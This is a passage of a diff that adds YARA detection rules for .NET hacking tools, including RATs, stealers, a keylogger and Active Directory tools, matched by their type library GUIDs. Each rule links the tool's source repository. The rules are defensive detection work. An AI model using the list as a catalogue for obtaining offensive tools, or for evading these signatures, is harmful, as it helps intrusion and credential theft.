+        reference = "https://github.com/jaredhaight/SharpAttack"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "1eb911ab-3fb9-54b7-8afb-66328f30d563"
+    strings:
+        $typelibguid0lo = "5f0ceca3-5997-406c-adf5-6c7fbb6cba17" ascii wide
+        $typelibguid0up = "5F0CECA3-5997-406C-ADF5-6C7FBB6CBA17" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Altman {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/keepwn/Altman"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "21acc8af-9497-5842-90a9-7a9300585d5d"
+    strings:
+        $typelibguid0lo = "64cdcd2b-7356-4079-af78-e22210e66154" ascii wide
+        $typelibguid0up = "64CDCD2B-7356-4079-AF78-E22210E66154" ascii wide
+        $typelibguid1lo = "f1dee29d-ca98-46ea-9d13-93ae1fda96e1" ascii wide
+        $typelibguid1up = "F1DEE29D-CA98-46EA-9D13-93AE1FDA96E1" ascii wide
+        $typelibguid2lo = "33568320-56e8-4abb-83f8-548e8d6adac2" ascii wide
+        $typelibguid2up = "33568320-56E8-4ABB-83F8-548E8D6ADAC2" ascii wide
+        $typelibguid3lo = "470ec930-70a3-4d71-b4ff-860fcb900e85" ascii wide
+        $typelibguid3up = "470EC930-70A3-4D71-B4FF-860FCB900E85" ascii wide
+        $typelibguid4lo = "9514574d-6819-44f2-affa-6158ac1143b3" ascii wide
+        $typelibguid4up = "9514574D-6819-44F2-AFFA-6158AC1143B3" ascii wide
+        $typelibguid5lo = "0f3a9c4f-0b11-4373-a0a6-3a6de814e891" ascii wide
+        $typelibguid5up = "0F3A9C4F-0B11-4373-A0A6-3A6DE814E891" ascii wide
+        $typelibguid6lo = "9624b72e-9702-4d78-995b-164254328151" ascii wide
+        $typelibguid6up = "9624B72E-9702-4D78-995B-164254328151" ascii wide
+        $typelibguid7lo = "faae59a8-55fc-48b1-a9b5-b1759c9c1010" ascii wide
+        $typelibguid7up = "FAAE59A8-55FC-48B1-A9B5-B1759C9C1010" ascii wide
+        $typelibguid8lo = "37af4988-f6f2-4f0c-aa2b-5b24f7ed3bf3" ascii wide
+        $typelibguid8up = "37AF4988-F6F2-4F0C-AA2B-5B24F7ED3BF3" ascii wide
+        $typelibguid9lo = "c82aa2fe-3332-441f-965e-6b653e088abf" ascii wide
+        $typelibguid9up = "C82AA2FE-3332-441F-965E-6B653E088ABF" ascii wide
+        $typelibguid10lo = "6e531f6c-2c89-447f-8464-aaa96dbcdfff" ascii wide
+        $typelibguid10up = "6E531F6C-2C89-447F-8464-AAA96DBCDFFF" ascii wide
+        $typelibguid11lo = "231987a1-ea32-4087-8963-2322338f16f6" ascii wide
+        $typelibguid11up = "231987A1-EA32-4087-8963-2322338F16F6" ascii wide
+        $typelibguid12lo = "7da0d93a-a0ae-41a5-9389-42eff85bb064" ascii wide
+        $typelibguid12up = "7DA0D93A-A0AE-41A5-9389-42EFF85BB064" ascii wide
+        $typelibguid13lo = "a729f9cc-edc2-4785-9a7d-7b81bb12484c" ascii wide
+        $typelibguid13up = "A729F9CC-EDC2-4785-9A7D-7B81BB12484C" ascii wide
+        $typelibguid14lo = "55a1fd43-d23e-4d72-aadb-bbd1340a6913" ascii wide
+        $typelibguid14up = "55A1FD43-D23E-4D72-AADB-BBD1340A6913" ascii wide
+        $typelibguid15lo = "d43f240d-e7f5-43c5-9b51-d156dc7ea221" ascii wide
+        $typelibguid15up = "D43F240D-E7F5-43C5-9B51-D156DC7EA221" ascii wide
+        $typelibguid16lo = "c2e6c1a0-93b1-4bbc-98e6-8e2b3145db8e" ascii wide
+        $typelibguid16up = "C2E6C1A0-93B1-4BBC-98E6-8E2B3145DB8E" ascii wide
+        $typelibguid17lo = "714ae6f3-0d03-4023-b753-fed6a31d95c7" ascii wide
+        $typelibguid17up = "714AE6F3-0D03-4023-B753-FED6A31D95C7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BrowserPass {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jabiel/BrowserPass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "bad36c36-dbed-527c-a2f5-4dceff1abe4b"
+    strings:
+        $typelibguid0lo = "3cb59871-0dce-453b-857a-2d1e515b0b66" ascii wide
+        $typelibguid0up = "3CB59871-0DCE-453B-857A-2D1E515B0B66" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Mythic {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/its-a-feature/Mythic"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "44237fac-1526-5587-83a1-61d7a54f7da9"
+    strings:
+        $typelibguid0lo = "91f7a9da-f045-4239-a1e9-487ffdd65986" ascii wide
+        $typelibguid0up = "91F7A9DA-F045-4239-A1E9-487FFDD65986" ascii wide
+        $typelibguid1lo = "0405205c-c2a0-4f9a-a221-48b5c70df3b6" ascii wide
+        $typelibguid1up = "0405205C-C2A0-4F9A-A221-48B5C70DF3B6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Nuages {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/p3nt4/Nuages"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "5ad947e2-bd71-50d4-9bbf-4d018c7ff36a"
+    strings:
+        $typelibguid0lo = "e9e80ac7-4c13-45bd-9bde-ca89aadf1294" ascii wide
+        $typelibguid0up = "E9E80AC7-4C13-45BD-9BDE-CA89AADF1294" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSniper {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/HunnicCyber/SharpSniper"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "14e6a3b8-5e1f-5dd8-9b51-22522ac317e7"
+    strings:
+        $typelibguid0lo = "c8bb840c-04ce-4b60-a734-faf15abf7b18" ascii wide
+        $typelibguid0up = "C8BB840C-04CE-4B60-A734-FAF15ABF7B18" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpHound3 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/BloodHoundAD/SharpHound3"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "58001912-88a1-527d-9d3e-d7c376a1fce4"
+    strings:
+        $typelibguid0lo = "a517a8de-5834-411d-abda-2d0e1766539c" ascii wide
+        $typelibguid0up = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BlockEtw {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Soledge/BlockEtw"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "c2b72fef-6549-5b53-8ccf-232e8d152e96"
+    strings:
+        $typelibguid0lo = "daedf7b3-8262-4892-adc4-425dd5f85bca" ascii wide
+        $typelibguid0up = "DAEDF7B3-8262-4892-ADC4-425DD5F85BCA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpWifiGrabber {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/r3nhat/SharpWifiGrabber"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "1a457672-743c-56f0-a4d7-6c25f9ce2345"
+    strings:
+        $typelibguid0lo = "c0997698-2b73-4982-b25b-d0578d1323c2" ascii wide
+        $typelibguid0up = "C0997698-2B73-4982-B25B-D0578D1323C2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpMapExec {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cube0x0/SharpMapExec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "b4922734-a486-5c4d-9bd7-5146cfecbf01"
+    strings:
+        $typelibguid0lo = "bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f" ascii wide
+        $typelibguid0up = "BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_k8fly {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/zzwlpx/k8fly"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "3421e6fb-df65-5e2e-ae46-37f9c763c6a1"
+    strings:
+        $typelibguid0lo = "13b6c843-f3d4-4585-b4f3-e2672a47931e" ascii wide
+        $typelibguid0up = "13B6C843-F3D4-4585-B4F3-E2672A47931E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Stealer {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/malwares/Stealer"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "c721a0ac-e898-52aa-9bdf-a19bc0bd783d"
+    strings:
+        $typelibguid0lo = "8fcd4931-91a2-4e18-849b-70de34ab75df" ascii wide
+        $typelibguid0up = "8FCD4931-91A2-4E18-849B-70DE34AB75DF" ascii wide
+        $typelibguid1lo = "e48811ca-8af8-4e73-85dd-2045b9cca73a" ascii wide
+        $typelibguid1up = "E48811CA-8AF8-4E73-85DD-2045B9CCA73A" ascii wide
+        $typelibguid2lo = "d3d8a1cc-e123-4905-b3de-374749122fcf" ascii wide
+        $typelibguid2up = "D3D8A1CC-E123-4905-B3DE-374749122FCF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PortTran {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/k8gege/PortTran"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-29"
+        modified = "2023-04-06"
+        id = "844e58a2-54f5-51e8-8176-6a478a136603"
+    strings:
+        $typelibguid0lo = "3a074374-77e8-4312-8746-37f3cb00e82c" ascii wide
+        $typelibguid0up = "3A074374-77E8-4312-8746-37F3CB00E82C" ascii wide
+        $typelibguid1lo = "67a73bac-f59d-4227-9220-e20a2ef42782" ascii wide
+        $typelibguid1up = "67A73BAC-F59D-4227-9220-E20A2EF42782" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+
+rule HKTL_NET_GUID_gray_keylogger_2 {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/graysuit/gray-keylogger-2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "40ab8103-9151-5a5c-8b70-ab3bfd3896f9"
+    strings:
+        $typelibguid0lo = "e94ca3ff-c0e5-4d1a-ad5e-f6ebbe365067" ascii wide
+        $typelibguid0up = "E94CA3FF-C0E5-4D1A-AD5E-F6EBBE365067" ascii wide
+        $typelibguid1lo = "1ed07564-b411-4626-88e5-e1cd8ecd860a" ascii wide
+        $typelibguid1up = "1ED07564-B411-4626-88E5-E1CD8ECD860A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Lime_Miner {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Lime-Miner"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "d0631817-10a2-55bf-a41d-226fa0dcb9f9"
+    strings:
+        $typelibguid0lo = "13958fb9-dfc1-4e2c-8a8d-a5e68abdbc66" ascii wide
+        $typelibguid0up = "13958FB9-DFC1-4E2C-8A8D-A5E68ABDBC66" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BlackNET {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/BlackHacker511/BlackNET"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "9fbb3c11-7b11-5910-9c8b-247aeefbaa87"
+    strings:
+        $typelibguid0lo = "c2b90883-abee-4cfa-af66-dfd93ec617a5" ascii wide
+        $typelibguid0up = "C2B90883-ABEE-4CFA-AF66-DFD93EC617A5" ascii wide
+        $typelibguid1lo = "8bb6f5b4-e7c7-4554-afd1-48f368774837" ascii wide
+        $typelibguid1up = "8BB6F5B4-E7C7-4554-AFD1-48F368774837" ascii wide
+        $typelibguid2lo = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide
+        $typelibguid2up = "983AE28C-91C3-4072-8CDF-698B2FF7A967" ascii wide
+        $typelibguid3lo = "9ac18cdc-3711-4719-9cfb-5b5f2d51fd5a" ascii wide
+        $typelibguid3up = "9AC18CDC-3711-4719-9CFB-5B5F2D51FD5A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PlasmaRAT {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mwsrc/PlasmaRAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "13362cba-f9b2-50c8-95cc-504e585bdd42"
+    strings:
+        $typelibguid0lo = "b8a2147c-074c-46e1-bb99-c8431a6546ce" ascii wide
+        $typelibguid0up = "B8A2147C-074C-46E1-BB99-C8431A6546CE" ascii wide
+        $typelibguid1lo = "0fcfde33-213f-4fb6-ac15-efb20393d4f3" ascii wide
+        $typelibguid1up = "0FCFDE33-213F-4FB6-AC15-EFB20393D4F3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Lime_RAT {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Lime-RAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "31a0e9ca-9da1-557a-bcc5-1351fa90a0e1"
+    strings:
+        $typelibguid0lo = "e58ac447-ab07-402a-9c96-95e284a76a8d" ascii wide
+        $typelibguid0up = "E58AC447-AB07-402A-9C96-95E284A76A8D" ascii wide
+        $typelibguid1lo = "8fb35dab-73cd-4163-8868-c4dbcbdf0c17" ascii wide
+        $typelibguid1up = "8FB35DAB-73CD-4163-8868-C4DBCBDF0C17" ascii wide
+        $typelibguid2lo = "37845f5b-35fe-4dce-bbec-2d07c7904fb0" ascii wide
+        $typelibguid2up = "37845F5B-35FE-4DCE-BBEC-2D07C7904FB0" ascii wide
+        $typelibguid3lo = "83c453cf-0d29-4690-b9dc-567f20e63894" ascii wide
+        $typelibguid3up = "83C453CF-0D29-4690-B9DC-567F20E63894" ascii wide
+        $typelibguid4lo = "8b1f0a69-a930-42e3-9c13-7de0d04a4add" ascii wide
+        $typelibguid4up = "8B1F0A69-A930-42E3-9C13-7DE0D04A4ADD" ascii wide
+        $typelibguid5lo = "eaaeccf6-75d2-4616-b045-36eea09c8b28" ascii wide
+        $typelibguid5up = "EAAECCF6-75D2-4616-B045-36EEA09C8B28" ascii wide
+        $typelibguid6lo = "5b2ec674-0aa4-4209-94df-b6c995ad59c4" ascii wide
+        $typelibguid6up = "5B2EC674-0AA4-4209-94DF-B6C995AD59C4" ascii wide
+        $typelibguid7lo = "e2cc7158-aee6-4463-95bf-fb5295e9e37a" ascii wide
+        $typelibguid7up = "E2CC7158-AEE6-4463-95BF-FB5295E9E37A" ascii wide
+        $typelibguid8lo = "d04ecf62-6da9-4308-804a-e789baa5cc38" ascii wide
+        $typelibguid8up = "D04ECF62-6DA9-4308-804A-E789BAA5CC38" ascii wide
+        $typelibguid9lo = "8026261f-ac68-4ccf-97b2-3b55b7d6684d" ascii wide
+        $typelibguid9up = "8026261F-AC68-4CCF-97B2-3B55B7D6684D" ascii wide
+        $typelibguid10lo = "212cdfac-51f1-4045-a5c0-6e638f89fce0" ascii wide
+        $typelibguid10up = "212CDFAC-51F1-4045-A5C0-6E638F89FCE0" ascii wide
+        $typelibguid11lo = "c1b608bb-7aed-488d-aa3b-0c96625d26c0" ascii wide
+        $typelibguid11up = "C1B608BB-7AED-488D-AA3B-0C96625D26C0" ascii wide
+        $typelibguid12lo = "4c84e7ec-f197-4321-8862-d5d18783e2fe" ascii wide
+        $typelibguid12up = "4C84E7EC-F197-4321-8862-D5D18783E2FE" ascii wide
+        $typelibguid13lo = "3fc17adb-67d4-4a8d-8770-ecfd815f73ee" ascii wide
+        $typelibguid13up = "3FC17ADB-67D4-4A8D-8770-ECFD815F73EE" ascii wide
+        $typelibguid14lo = "f1ab854b-6282-4bdf-8b8b-f2911a008948" ascii wide
+        $typelibguid14up = "F1AB854B-6282-4BDF-8B8B-F2911A008948" ascii wide
+        $typelibguid15lo = "aef6547e-3822-4f96-9708-bcf008129b2b" ascii wide
+        $typelibguid15up = "AEF6547E-3822-4F96-9708-BCF008129B2B" ascii wide
+        $typelibguid16lo = "a336f517-bca9-465f-8ff8-2756cfd0cad9" ascii wide
+        $typelibguid16up = "A336F517-BCA9-465F-8FF8-2756CFD0CAD9" ascii wide
+        $typelibguid17lo = "5de018bd-941d-4a5d-bed5-fbdd111aba76" ascii wide
+        $typelibguid17up = "5DE018BD-941D-4A5D-BED5-FBDD111ABA76" ascii wide
+        $typelibguid18lo = "bbfac1f9-cd4f-4c44-af94-1130168494d0" ascii wide
+        $typelibguid18up = "BBFAC1F9-CD4F-4C44-AF94-1130168494D0" ascii wide
+        $typelibguid19lo = "1c79cea1-ebf3-494c-90a8-51691df41b86" ascii wide
+        $typelibguid19up = "1C79CEA1-EBF3-494C-90A8-51691DF41B86" ascii wide
+        $typelibguid20lo = "927104e1-aa17-4167-817c-7673fe26d46e" ascii wide
+        $typelibguid20up = "927104E1-AA17-4167-817C-7673FE26D46E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_njRAT {
+    meta:
+        description = "Detects VB.NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mwsrc/njRAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-30"
+        modified = "2023-04-06"
+        id = "2140d69e-fb15-50a2-ba85-b7c8293003fb"
+    strings:
+        $typelibguid0lo = "5a542c1b-2d36-4c31-b039-26a88d3967da" ascii wide
+        $typelibguid0up = "5A542C1B-2D36-4C31-B039-26A88D3967DA" ascii wide
+        $typelibguid1lo = "6b07082a-9256-42c3-999a-665e9de49f33" ascii wide
+        $typelibguid1up = "6B07082A-9256-42C3-999A-665E9DE49F33" ascii wide
+        $typelibguid2lo = "c0a9a70f-63e8-42ca-965d-73a1bc903e62" ascii wide
+        $typelibguid2up = "C0A9A70F-63E8-42CA-965D-73A1BC903E62" ascii wide
+        $typelibguid3lo = "70bd11de-7da1-4a89-b459-8daacc930c20" ascii wide
+        $typelibguid3up = "70BD11DE-7DA1-4A89-B459-8DAACC930C20" ascii wide
+        $typelibguid4lo = "fc790ee5-163a-40f9-a1e2-9863c290ff8b" ascii wide
+        $typelibguid4up = "FC790EE5-163A-40F9-A1E2-9863C290FF8B" ascii wide
+        $typelibguid5lo = "cb3c28b2-2a4f-4114-941c-ce929fec94d3" ascii wide
+        $typelibguid5up = "CB3C28B2-2A4F-4114-941C-CE929FEC94D3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Manager {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/TheWover/Manager"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "eef65d2c-ddbc-50c3-a6a0-e7032a55e92d"
+    strings:
+        $typelibguid0lo = "dda73ee9-0f41-4c09-9cad-8215abd60b33" ascii wide
+        $typelibguid0up = "DDA73EE9-0F41-4C09-9CAD-8215ABD60B33" ascii wide
+        $typelibguid1lo = "6a0f2422-d4d1-4b7e-84ad-56dc0fd2dfc5" ascii wide
+        $typelibguid1up = "6A0F2422-D4D1-4B7E-84AD-56DC0FD2DFC5" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_neo_ConfuserEx {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/XenocodeRCE/neo-ConfuserEx"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "d73117a6-4512-5545-a4f4-72d8cf708340"
+    strings:
+        $typelibguid0lo = "e98490bb-63e5-492d-b14e-304de928f81a" ascii wide
+        $typelibguid0up = "E98490BB-63E5-492D-B14E-304DE928F81A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpAllowedToAct {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/pkb1s/SharpAllowedToAct"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "13b7f5e0-4d34-533d-a182-b3fe7c93ca43"
+    strings:
+        $typelibguid0lo = "dac5448a-4ad1-490a-846a-18e4e3e0cf9a" ascii wide
+        $typelibguid0up = "DAC5448A-4AD1-490A-846A-18E4E3E0CF9A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SuperSQLInjectionV1 {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/shack2/SuperSQLInjectionV1"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "247bef0d-7873-51c7-97b8-1be6dfe7708d"
+    strings:
+        $typelibguid0lo = "d5688068-fc89-467d-913f-037a785caca7" ascii wide
+        $typelibguid0up = "D5688068-FC89-467D-913F-037A785CACA7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ADSearch {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/tomcarver16/ADSearch"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "399ea06d-b36a-542b-bccc-8e8f935a35c6"
+    strings:
+        $typelibguid0lo = "4da5f1b7-8936-4413-91f7-57d6e072b4a7" ascii wide
+        $typelibguid0up = "4DA5F1B7-8936-4413-91F7-57D6E072B4A7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_privilege_escalation_awesome_scripts_suite {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "fa218dfa-4b56-5a62-b149-63394bd0b604"
+    strings:
+        $typelibguid0lo = "1928358e-a64b-493f-a741-ae8e3d029374" ascii wide
+        $typelibguid0up = "1928358E-A64B-493F-A741-AE8E3D029374" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CVE_2020_1206_POC {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/ZecOps/CVE-2020-1206-POC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "d70472f3-b19f-5097-bd70-99a7e7812ac4"
+    strings:
+        $typelibguid0lo = "3523ca04-a12d-4b40-8837-1a1d28ef96de" ascii wide
+        $typelibguid0up = "3523CA04-A12D-4B40-8837-1A1D28EF96DE" ascii wide
+        $typelibguid1lo = "d3a2f24a-ddc6-4548-9b3d-470e70dbcaab" ascii wide
+        $typelibguid1up = "D3A2F24A-DDC6-4548-9B3D-470E70DBCAAB" ascii wide
+        $typelibguid2lo = "fb30ee05-4a35-45f7-9a0a-829aec7e47d9" ascii wide
+        $typelibguid2up = "FB30EE05-4A35-45F7-9A0A-829AEC7E47D9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DInvoke {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/TheWover/DInvoke"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
+    strings:
+        $typelibguid0lo = "b77fdab5-207c-4cdb-b1aa-348505c54229" ascii wide
+        $typelibguid0up = "B77FDAB5-207C-4CDB-B1AA-348505C54229" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpChisel {
